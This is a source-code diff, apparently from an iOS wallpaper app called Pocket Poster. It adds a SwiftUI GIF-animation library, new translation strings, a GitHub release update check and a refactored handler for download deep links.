placeholder: placeholder,
|
||||||
|
errorImage: errorImage,
|
||||||
|
frameRate: frameRate,
|
||||||
|
loopAction: loopAction
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,137 @@
|
|||||||
|
import SwiftUI
|
||||||
|
|
||||||
|
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||||
|
/// into frames and stream them based in the "Delay" key packaged on which frame item. The view will use the `ImageLoader` from the environment
|
||||||
|
/// to convert the fetch the `Data`
|
||||||
|
public struct GIFImage: View {
|
||||||
|
public let source: GIFSource
|
||||||
|
public let placeholder: RawImage
|
||||||
|
public let errorImage: RawImage?
|
||||||
|
private let presentationController: PresentationController
|
||||||
|
|
||||||
|
@Environment(\.imageLoader) var imageLoader
|
||||||
|
@State @MainActor private var frame: RawImage?
|
||||||
|
@Binding public var loop: Bool
|
||||||
|
@Binding public var animate: Bool
|
||||||
|
@State private var presentationTask: Task<(), Never>?
|
||||||
|
|
||||||
|
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||||
|
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||||
|
///
|
||||||
|
/// - Parameters:
|
||||||
|
/// - source: Source of the image. If the source is remote, the response is cached using `URLCache`
|
||||||
|
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
|
||||||
|
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||||
|
/// - placeholder: Image to be used before the source is loaded
|
||||||
|
/// - errorImage: If the stream fails, this image is used
|
||||||
|
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||||
|
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||||
|
public init(
|
||||||
|
source: GIFSource,
|
||||||
|
animate: Bool,
|
||||||
|
loop: Bool,
|
||||||
|
placeholder: RawImage = RawImage(),
|
||||||
|
errorImage: RawImage? = nil,
|
||||||
|
frameRate: FrameRate = .dynamic,
|
||||||
|
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||||
|
) {
|
||||||
|
self.init(
|
||||||
|
source: source,
|
||||||
|
animate: .constant(animate),
|
||||||
|
loop: .constant(loop),
|
||||||
|
placeholder: placeholder,
|
||||||
|
errorImage: errorImage,
|
||||||
|
frameRate: frameRate,
|
||||||
|
loopAction: loopAction
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||||
|
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||||
|
///
|
||||||
|
/// - Parameters:
|
||||||
|
/// - source: Source of the image. If the source is remote, the response is cached using `URLCache`
|
||||||
|
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||||
|
/// - placeholder: Image to be used before the source is loaded
|
||||||
|
/// - errorImage: If the stream fails, this image is used
|
||||||
|
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||||
|
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||||
|
public init(
|
||||||
|
source: GIFSource,
|
||||||
|
animate: Binding<Bool> = Binding.constant(true),
|
||||||
|
loop: Binding<Bool> = Binding.constant(true),
|
||||||
|
placeholder: RawImage = RawImage(),
|
||||||
|
errorImage: RawImage? = nil,
|
||||||
|
frameRate: FrameRate = .dynamic,
|
||||||
|
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||||
|
) {
|
||||||
|
self.source = source
|
||||||
|
self._animate = animate
|
||||||
|
self._loop = loop
|
||||||
|
self.placeholder = placeholder
|
||||||
|
self.errorImage = errorImage
|
||||||
|
|
||||||
|
self.presentationController = PresentationController(
|
||||||
|
source: source,
|
||||||
|
frameRate: frameRate,
|
||||||
|
animate: animate,
|
||||||
|
loop: loop,
|
||||||
|
action: loopAction
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
public var body: some View {
|
||||||
|
Image.loadImage(with: frame ?? placeholder)
|
||||||
|
.resizable()
|
||||||
|
.scaledToFit()
|
||||||
|
.onChange(of: loop) { newValue in
|
||||||
|
handle(loop: newValue)
|
||||||
|
}
|
||||||
|
.onChange(of: animate) { newValue in
|
||||||
|
handle(animate: newValue)
|
||||||
|
}
|
||||||
|
.task(id: source, load)
|
||||||
|
}
|
||||||
|
|
||||||
|
private func handle(animate: Bool) {
|
||||||
|
if animate {
|
||||||
|
load()
|
||||||
|
} else {
|
||||||
|
presentationTask?.cancel()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private func handle(loop: Bool) {
|
||||||
|
if loop { load() }
|
||||||
|
}
|
||||||
|
|
||||||
|
@Sendable private func load() {
|
||||||
|
presentationTask?.cancel()
|
||||||
|
presentationTask = Task { await presentationController.start(
|
||||||
|
imageLoader: imageLoader,
|
||||||
|
fallbackImage: errorImage ?? placeholder,
|
||||||
|
frameUpdate: setFrame(_:)
|
||||||
|
)}
|
||||||
|
}
|
||||||
|
|
||||||
|
@MainActor
|
||||||
|
@Sendable private func setFrame(_ frame: RawImage) async {
|
||||||
|
self.frame = frame
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#if DEBUG
|
||||||
|
let placeholder = RawImage.create(symbol: "photo.circle.fill")!
|
||||||
|
let error = RawImage.create(symbol: "xmark.octagon")
|
||||||
|
let gifURL = "https://raw.githubusercontent.com/igorcferreira/GIFImage/main/Tests/test.gif"
|
||||||
|
#Preview("Raw URL") {
|
||||||
|
GIFImage(url: gifURL, placeholder: placeholder, errorImage: error)
|
||||||
|
}
|
||||||
|
#Preview("Limited 5 FPS") {
|
||||||
|
GIFImage(url: gifURL, placeholder: placeholder, errorImage: error, frameRate: .limited(fps: 5))
|
||||||
|
}
|
||||||
|
#Preview("Limited to 30 FPS") {
|
||||||
|
GIFImage(url: gifURL, placeholder: placeholder, errorImage: error, frameRate: .static(fps: 30))
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
//
|
||||||
|
// File.swift
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// Created by Igor Ferreira on 05/04/2022.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import ImageIO
|
||||||
|
|
||||||
|
public actor CGImageSourceFrameSequence: AsyncSequence {
|
||||||
|
public typealias Element = ImageFrame
|
||||||
|
|
||||||
|
public enum LoadError: Error {
|
||||||
|
case invalidData
|
||||||
|
case emptyData
|
||||||
|
}
|
||||||
|
|
||||||
|
public let source: CGImageSource
|
||||||
|
|
||||||
|
public init(data: Data) throws {
|
||||||
|
guard let source = CGImageSourceCreateWithData(data as CFData, nil) else {
|
||||||
|
throw LoadError.invalidData
|
||||||
|
}
|
||||||
|
|
||||||
|
switch CGImageSourceGetStatus(source) {
|
||||||
|
case .statusComplete: break
|
||||||
|
case .statusReadingHeader: break
|
||||||
|
case .statusIncomplete: throw LoadError.emptyData
|
||||||
|
case .statusInvalidData: throw LoadError.invalidData
|
||||||
|
case .statusUnexpectedEOF: throw LoadError.invalidData
|
||||||
|
case .statusUnknownType: throw LoadError.invalidData
|
||||||
|
@unknown default: throw LoadError.invalidData
|
||||||
|
}
|
||||||
|
|
||||||
|
self.init(source: source)
|
||||||
|
}
|
||||||
|
|
||||||
|
public init(source: CGImageSource) {
|
||||||
|
self.source = source
|
||||||
|
}
|
||||||
|
|
||||||
|
nonisolated public func makeAsyncIterator() -> CGImageSourceIterator {
|
||||||
|
CGImageSourceIterator(source: source)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
//
|
||||||
|
// File.swift
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// Created by Igor Ferreira on 05/04/2022.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import ImageIO
|
||||||
|
|
||||||
|
public actor CGImageSourceIterator: AsyncIteratorProtocol {
|
||||||
|
|
||||||
|
public let frameCount: Int
|
||||||
|
public let source: CGImageSource
|
||||||
|
public private(set) var currentFrame: Int
|
||||||
|
|
||||||
|
public init(source: CGImageSource) {
|
||||||
|
self.source = source
|
||||||
|
self.frameCount = CGImageSourceGetCount(source)
|
||||||
|
self.currentFrame = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public func next() async throws -> ImageFrame? {
|
||||||
|
guard currentFrame < frameCount else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
let frame: ImageFrame? = if let image = CGImageSourceCreateImageAtIndex(source, currentFrame, nil) {
|
||||||
|
ImageFrame(image: image, interval: source.intervalAtIndex(currentFrame))
|
||||||
|
} else {
|
||||||
|
nil
|
||||||
|
}
|
||||||
|
currentFrame += 1
|
||||||
|
return frame
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
//
|
||||||
|
// File.swift
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// Created by Igor Ferreira on 05/04/2022.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
|
||||||
|
/// Object responsible to load a `GIFSource` into a `ImageFrame` stream.
|
||||||
|
public struct ImageLoader {
|
||||||
|
public let session: URLSession
|
||||||
|
public let cache: URLCache
|
||||||
|
public let fileManager: FileManager
|
||||||
|
|
||||||
|
public init(session: URLSession = .shared, cache: URLCache = .shared, fileManager: FileManager = .default) {
|
||||||
|
self.session = session
|
||||||
|
self.cache = cache
|
||||||
|
self.fileManager = fileManager
|
||||||
|
}
|
||||||
|
|
||||||
|
public func load(source: GIFSource) async throws -> CGImageSourceFrameSequence {
|
||||||
|
let data = try await source.loadData(session: session, cache: cache, fileManager: fileManager)
|
||||||
|
return try data.imageAsyncSequence()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private extension GIFSource {
|
||||||
|
func loadData(session: URLSession, cache: URLCache, fileManager: FileManager) async throws -> Data {
|
||||||
|
switch self {
|
||||||
|
case let .static(data): data
|
||||||
|
case .remote(let url), .remoteURL(let url): try await url.loadData(session: session, cache: cache)
|
||||||
|
case let .remoteRequest(request): try await request.loadData(session: session, cache: cache)
|
||||||
|
case let .local(filePath): try await filePath.loadData(fileManager: fileManager)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private extension String {
|
||||||
|
func loadData(fileManager: FileManager) async throws -> Data {
|
||||||
|
guard fileManager.fileExists(atPath: self) else {
|
||||||
|
throw URLError(.fileDoesNotExist)
|
||||||
|
}
|
||||||
|
guard let data = fileManager.contents(atPath: self) else {
|
||||||
|
throw URLError(.cannotOpenFile)
|
||||||
|
}
|
||||||
|
return data
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private extension URL {
|
||||||
|
func loadData(session: URLSession, cache: URLCache) async throws -> Data {
|
||||||
|
let request = URLRequest(url: self)
|
||||||
|
return try await request.loadData(session: session, cache: cache)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private extension URLRequest {
|
||||||
|
func loadData(session: URLSession, cache: URLCache) async throws -> Data {
|
||||||
|
if let cache = cache.cachedResponse(for: self) {
|
||||||
|
return cache.data
|
||||||
|
}
|
||||||
|
|
||||||
|
let (data, response) = try await session.data(for: self)
|
||||||
|
guard let httpResponse = response as? HTTPURLResponse else {
|
||||||
|
throw URLError(.badServerResponse)
|
||||||
|
}
|
||||||
|
guard httpResponse.isSuccess else {
|
||||||
|
throw URLError(.init(rawValue: httpResponse.statusCode))
|
||||||
|
}
|
||||||
|
cache.storeCachedResponse(CachedURLResponse(response: response, data: data), for: self)
|
||||||
|
return data
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private extension HTTPURLResponse {
|
||||||
|
var isSuccess: Bool {
|
||||||
|
200..<300 ~= statusCode
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
//
|
||||||
|
// File.swift
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// Created by Igor Ferreira on 9/9/22.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import SwiftUI
|
||||||
|
|
||||||
|
private let kDefaultGIFFrameInterval: TimeInterval = 1.0 / 24.0
|
||||||
|
|
||||||
|
struct PresentationController {
|
||||||
|
let source: GIFSource
|
||||||
|
let frameRate: FrameRate
|
||||||
|
let action: (GIFSource) async throws -> Void
|
||||||
|
@Binding var animate: Bool
|
||||||
|
@Binding var loop: Bool
|
||||||
|
|
||||||
|
init(
|
||||||
|
source: GIFSource,
|
||||||
|
frameRate: FrameRate,
|
||||||
|
animate: Binding<Bool>,
|
||||||
|
loop: Binding<Bool>,
|
||||||
|
action: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||||
|
) {
|
||||||
|
self.source = source
|
||||||
|
self.action = action
|
||||||
|
self.frameRate = frameRate
|
||||||
|
self._animate = animate
|
||||||
|
self._loop = loop
|
||||||
|
}
|
||||||
|
|
||||||
|
func start(imageLoader: ImageLoader, fallbackImage: RawImage, frameUpdate: (RawImage) async -> Void) async {
|
||||||
|
do {
|
||||||
|
repeat {
|
||||||
|
for try await imageFrame in try await imageLoader.load(source: source) {
|
||||||
|
try await update(imageFrame, frameUpdate: frameUpdate)
|
||||||
|
if !animate { break }
|
||||||
|
}
|
||||||
|
try await action(source)
|
||||||
|
} while(self.loop && self.animate)
|
||||||
|
} catch {
|
||||||
|
if !(error is CancellationError) {
|
||||||
|
await frameUpdate(fallbackImage)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private func update(_ imageFrame: ImageFrame, frameUpdate: (RawImage) async -> Void) async throws {
|
||||||
|
await frameUpdate(RawImage.create(with: imageFrame.image))
|
||||||
|
let calculatedInterval = imageFrame.interval ?? kDefaultGIFFrameInterval
|
||||||
|
let interval: Double
|
||||||
|
switch frameRate {
|
||||||
|
case .static(let fps):
|
||||||
|
interval = (1.0 / Double(fps))
|
||||||
|
case .limited(let fps):
|
||||||
|
let intervalLimit = (1.0 / Double(fps))
|
||||||
|
interval = max(calculatedInterval, intervalLimit)
|
||||||
|
case .dynamic:
|
||||||
|
interval = imageFrame.interval ?? kDefaultGIFFrameInterval
|
||||||
|
}
|
||||||
|
try await Task.sleep(nanoseconds: UInt64(interval * 1_000_000_000.0))
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
//
|
||||||
|
// File.swift
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// Created by Igor Ferreira on 05/04/2022.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import ImageIO
|
||||||
|
|
||||||
|
extension CFString {
|
||||||
|
var asKey: UnsafeMutableRawPointer {
|
||||||
|
return Unmanaged.passUnretained(self).toOpaque()
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
//
|
||||||
|
// File.swift
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// Created by Igor Ferreira on 05/04/2022.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import ImageIO
|
||||||
|
|
||||||
|
extension CGImageSource {
|
||||||
|
func intervalAtIndex(_ index: Int) -> TimeInterval? {
|
||||||
|
guard let properties = CGImageSourceCopyPropertiesAtIndex(self, index, nil) else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
guard let gifProperties = CFDictionaryGetValue(properties, kCGImagePropertyGIFDictionary.asKey) else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
let dictionary = unsafeBitCast(gifProperties, to: CFDictionary.self)
|
||||||
|
|
||||||
|
let pointer: UnsafeRawPointer
|
||||||
|
if let delay = CFDictionaryGetValue(dictionary, kCGImagePropertyGIFDelayTime.asKey) {
|
||||||
|
pointer = delay
|
||||||
|
} else if let unclampedDelay = CFDictionaryGetValue(dictionary, kCGImagePropertyGIFUnclampedDelayTime.asKey) {
|
||||||
|
pointer = unclampedDelay
|
||||||
|
} else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
let interval = unsafeBitCast(pointer, to: AnyObject.self).doubleValue ?? 0.0
|
||||||
|
if interval > 0.0 {
|
||||||
|
return interval
|
||||||
|
} else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
//
|
||||||
|
// File.swift
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// Created by Igor Ferreira on 05/04/2022.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import ImageIO
|
||||||
|
|
||||||
|
extension Data {
|
||||||
|
func imageAsyncSequence() throws -> CGImageSourceFrameSequence {
|
||||||
|
return try CGImageSourceFrameSequence(data: self)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
//
|
||||||
|
// File.swift
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// Created by Igor Ferreira on 05/04/2022.
|
||||||
|
//
|
||||||
|
|
||||||
|
import SwiftUI
|
||||||
|
|
||||||
|
struct GIFImageEnvironment: EnvironmentKey {
|
||||||
|
static var defaultValue: ImageLoader = {
|
||||||
|
return ImageLoader()
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
extension EnvironmentValues {
|
||||||
|
var imageLoader: ImageLoader {
|
||||||
|
get { self[GIFImageEnvironment.self] }
|
||||||
|
set { self[GIFImageEnvironment.self] = newValue }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
extension View {
|
||||||
|
@ViewBuilder
|
||||||
|
func with(imageLoader: ImageLoader) -> some View {
|
||||||
|
environment(\.imageLoader, imageLoader)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
//
|
||||||
|
// File.swift
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// Created by Igor Ferreira on 06/04/2022.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
|
||||||
|
public enum FrameRate {
|
||||||
|
case dynamic
|
||||||
|
case limited(fps: Int)
|
||||||
|
case `static`(fps: Int)
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
//
|
||||||
|
// File.swift
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// Created by Igor Ferreira on 29/10/2020.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
|
||||||
|
public enum GIFSource: Equatable {
|
||||||
|
@available(*, deprecated, renamed: "remoteURL(_:)")
|
||||||
|
case remote(url: URL)
|
||||||
|
case remoteURL(_ url: URL)
|
||||||
|
case remoteRequest(_ request: URLRequest)
|
||||||
|
case local(filePath: String)
|
||||||
|
case `static`(data: Data)
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
//
|
||||||
|
// File.swift
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// Created by Igor Ferreira on 29/10/2020.
|
||||||
|
//
|
||||||
|
|
||||||
|
import ImageIO
|
||||||
|
import Foundation
|
||||||
|
|
||||||
|
public struct ImageFrame {
|
||||||
|
public let image: CGImage
|
||||||
|
public let interval: TimeInterval?
|
||||||
|
}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
//
|
||||||
|
// File.swift
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// Created by Igor Ferreira on 05/04/2022.
|
||||||
|
//
|
||||||
|
|
||||||
|
import ImageIO
|
||||||
|
import SwiftUI
|
||||||
|
#if os(macOS)
|
||||||
|
import AppKit
|
||||||
|
public typealias RawImage = NSImage
|
||||||
|
#else
|
||||||
|
import UIKit
|
||||||
|
public typealias RawImage = UIImage
|
||||||
|
#endif
|
||||||
|
|
||||||
|
public extension RawImage {
|
||||||
|
static func create(with cgImage: CGImage) -> RawImage {
|
||||||
|
#if os(macOS)
|
||||||
|
return RawImage(cgImage: cgImage, size: NSSize(width: cgImage.width, height: cgImage.height))
|
||||||
|
#else
|
||||||
|
return RawImage(cgImage: cgImage)
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
static func create(symbol: String) -> RawImage? {
|
||||||
|
#if os(macOS)
|
||||||
|
return RawImage(systemSymbolName: symbol, accessibilityDescription: nil)
|
||||||
|
#else
|
||||||
|
return RawImage(systemName: symbol)
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public extension Image {
|
||||||
|
static func loadImage(with image: RawImage) -> Image {
|
||||||
|
#if os(macOS)
|
||||||
|
return Image(nsImage: image)
|
||||||
|
#else
|
||||||
|
return Image(uiImage: image)
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -23,6 +23,12 @@
|
|||||||
"value" : "Pocket Poster"
|
"value" : "Pocket Poster"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"bg" : {
|
||||||
|
"stringUnit" : {
|
||||||
|
"state" : "translated",
|
||||||
|
"value" : "Pocket Poster"
|
||||||
|
}
|
||||||
|
},
|
||||||
"cs" : {
|
"cs" : {
|
||||||
"stringUnit" : {
|
"stringUnit" : {
|
||||||
"state" : "translated",
|
"state" : "translated",
|
||||||
@@ -71,12 +77,30 @@
|
|||||||
"value" : "Pocket Poster"
|
"value" : "Pocket Poster"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"fr-CH" : {
|
||||||
|
"stringUnit" : {
|
||||||
|
"state" : "translated",
|
||||||
|
"value" : "Pocket Poster"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"fr-LU" : {
|
||||||
|
"stringUnit" : {
|
||||||
|
"state" : "translated",
|
||||||
|
"value" : "Pocket Poster"
|
||||||
|
}
|
||||||
|
},
|
||||||
"hu" : {
|
"hu" : {
|
||||||
"stringUnit" : {
|
"stringUnit" : {
|
||||||
"state" : "translated",
|
"state" : "translated",
|
||||||
"value" : "Pocket Poster"
|
"value" : "Pocket Poster"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"it" : {
|
||||||
|
"stringUnit" : {
|
||||||
|
"state" : "translated",
|
||||||
|
"value" : "Pocket Poster"
|
||||||
|
}
|
||||||
|
},
|
||||||
"ja" : {
|
"ja" : {
|
||||||
"stringUnit" : {
|
"stringUnit" : {
|
||||||
"state" : "translated",
|
"state" : "translated",
|
||||||
@@ -125,6 +149,12 @@
|
|||||||
"value" : "Pocket Poster"
|
"value" : "Pocket Poster"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"zh-CN" : {
|
||||||
|
"stringUnit" : {
|
||||||
|
"state" : "translated",
|
||||||
|
"value" : "Pocket Poster"
|
||||||
|
}
|
||||||
|
},
|
||||||
"zh-Hant" : {
|
"zh-Hant" : {
|
||||||
"stringUnit" : {
|
"stringUnit" : {
|
||||||
"state" : "translated",
|
"state" : "translated",
|
||||||
@@ -153,6 +183,12 @@
|
|||||||
"value" : "خلفيات Nugget"
|
"value" : "خلفيات Nugget"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"bg" : {
|
||||||
|
"stringUnit" : {
|
||||||
|
"state" : "translated",
|
||||||
|
"value" : "Nugget Wallpaper"
|
||||||
|
}
|
||||||
|
},
|
||||||
"cs" : {
|
"cs" : {
|
||||||
"stringUnit" : {
|
"stringUnit" : {
|
||||||
"state" : "translated",
|
"state" : "translated",
|
||||||
@@ -195,12 +231,30 @@
|
|||||||
"value" : "Fond d'écran Nugget"
|
"value" : "Fond d'écran Nugget"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"fr-CH" : {
|
||||||
|
"stringUnit" : {
|
||||||
|
"state" : "translated",
|
||||||
|
"value" : "Nugget Wallpaper"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"fr-LU" : {
|
||||||
|
"stringUnit" : {
|
||||||
|
"state" : "translated",
|
||||||
|
"value" : "Nugget Wallpaper"
|
||||||
|
}
|
||||||
|
},
|
||||||
"hu" : {
|
"hu" : {
|
||||||
"stringUnit" : {
|
"stringUnit" : {
|
||||||
"state" : "translated",
|
"state" : "translated",
|
||||||
"value" : "Nugget Háttérkép"
|
"value" : "Nugget Háttérkép"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"it" : {
|
||||||
|
"stringUnit" : {
|
||||||
|
"state" : "translated",
|
||||||
|
"value" : "Sfondo di Nugget"
|
||||||
|
}
|
||||||
|
},
|
||||||
"ja" : {
|
"ja" : {
|
||||||
"stringUnit" : {
|
"stringUnit" : {
|
||||||
"state" : "translated",
|
"state" : "translated",
|
||||||
@@ -249,6 +303,12 @@
|
|||||||
"value" : "Hình nền Nugget"
|
"value" : "Hình nền Nugget"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"zh-CN" : {
|
||||||
|
"stringUnit" : {
|
||||||
|
"state" : "translated",
|
||||||
|
"value" : "Nugget 墙纸"
|
||||||
|
}
|
||||||
|
},
|
||||||
"zh-Hant" : {
|
"zh-Hant" : {
|
||||||
"stringUnit" : {
|
"stringUnit" : {
|
||||||
"state" : "translated",
|
"state" : "translated",
|
||||||
|
|||||||
@@ -10,10 +10,13 @@ import SwiftUI
|
|||||||
@main
|
@main
|
||||||
struct Pocket_PosterApp: App {
|
struct Pocket_PosterApp: App {
|
||||||
// Prefs
|
// Prefs
|
||||||
|
@ObservedObject var dlManager = DownloadManager.shared
|
||||||
|
|
||||||
@AppStorage("finishedTutorial") var finishedTutorial: Bool = false
|
@AppStorage("finishedTutorial") var finishedTutorial: Bool = false
|
||||||
@AppStorage("pbHash") var pbHash: String = ""
|
@AppStorage("pbHash") var pbHash: String = ""
|
||||||
|
|
||||||
@State var downloadURL: String? = nil
|
@State var downloadURL: String? = nil
|
||||||
|
@State var checkedForUpdate: Bool = false
|
||||||
|
|
||||||
var body: some Scene {
|
var body: some Scene {
|
||||||
WindowGroup {
|
WindowGroup {
|
||||||
@@ -26,20 +29,33 @@ struct Pocket_PosterApp: App {
|
|||||||
}
|
}
|
||||||
.transition(.opacity)
|
.transition(.opacity)
|
||||||
.animation(.easeOut(duration: 0.5), value: finishedTutorial)
|
.animation(.easeOut(duration: 0.5), value: finishedTutorial)
|
||||||
|
.onAppear {
|
||||||
|
// check for update
|
||||||
|
if !checkedForUpdate {
|
||||||
|
checkedForUpdate = true
|
||||||
|
if let version = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String, let url = URL(string: "https://api.github.com/repos/leminlimez/Pocket-Poster/releases/latest") {
|
||||||
|
let task = URLSession.shared.dataTask(with: url) {(data, response, error) in
|
||||||
|
guard let data = data else { return }
|
||||||
|
|
||||||
|
if let json = try? JSONSerialization.jsonObject(with: data, options: .mutableContainers) as? [String: Any] {
|
||||||
|
if (json["tag_name"] as? String)?.replacingOccurrences(of: "v", with: "").compare(version, options: .numeric) == .orderedDescending {
|
||||||
|
UIApplication.shared.confirmAlert(
|
||||||
|
title: NSLocalizedString("Update Available", comment: "app update available on GitHub"),
|
||||||
|
body: String(format: NSLocalizedString("Pocket Poster %@ is available, do you want to visit releases page?", comment: "app update available on GitHub"), json["tag_name"] as? String ?? "update"),
|
||||||
|
onOK: {
|
||||||
|
UIApplication.shared.open(URL(string: "https://github.com/leminlimez/Pocket-Poster/releases/latest")!)
|
||||||
|
}, noCancel: false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
task.resume()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
.onOpenURL(perform: { url in
|
.onOpenURL(perform: { url in
|
||||||
// Download URL
|
// Download URL
|
||||||
if url.absoluteString.starts(with: "pocketposter://download") {
|
if url.absoluteString.starts(with: "pocketposter://download") {
|
||||||
// prohibit to only tendies files
|
dlManager.startTendiesDownload(for: url)
|
||||||
if !url.absoluteString.hasSuffix(".tendies") {
|
|
||||||
UIApplication.shared.alert(body: NSLocalizedString("Only .tendies files can be downloaded!", comment: ""))
|
|
||||||
} else if PosterBoardManager.shared.selectedTendies.count >= PosterBoardManager.MaxTendies {
|
|
||||||
UIApplication.shared.alert(title: NSLocalizedString("Max Tendies Reached", comment: ""), body: String(format: NSLocalizedString("You can only apply %@ descriptors.", comment: ""), "\(PosterBoardManager.MaxTendies)"))
|
|
||||||
} else {
|
|
||||||
downloadURL = url.absoluteString.replacingOccurrences(of: "pocketposter://download?url=", with: "")
|
|
||||||
UIApplication.shared.confirmAlert(title: NSLocalizedString("Download Tendies File", comment: ""), body: String(format: NSLocalizedString("Would you like to download the file %@?", comment: ""), "\(DownloadManager.getWallpaperNameFromURL(string: downloadURL ?? "/Unknown"))"), onOK: {
|
|
||||||
downloadWallpaper()
|
|
||||||
}, noCancel: false)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
// App Hash URL
|
// App Hash URL
|
||||||
else if url.absoluteString.starts(with: "pocketposter://app-hash?uuid=") {
|
else if url.absoluteString.starts(with: "pocketposter://app-hash?uuid=") {
|
||||||
@@ -51,7 +67,7 @@ struct Pocket_PosterApp: App {
|
|||||||
} else {
|
} else {
|
||||||
// copy it over to the KFC bucket
|
// copy it over to the KFC bucket
|
||||||
do {
|
do {
|
||||||
let newURL = try DownloadManager.copyTendies(from: url)
|
let newURL = try DownloadManager.shared.copyTendies(from: url)
|
||||||
PosterBoardManager.shared.selectedTendies.append(newURL)
|
PosterBoardManager.shared.selectedTendies.append(newURL)
|
||||||
Haptic.shared.notify(.success)
|
Haptic.shared.notify(.success)
|
||||||
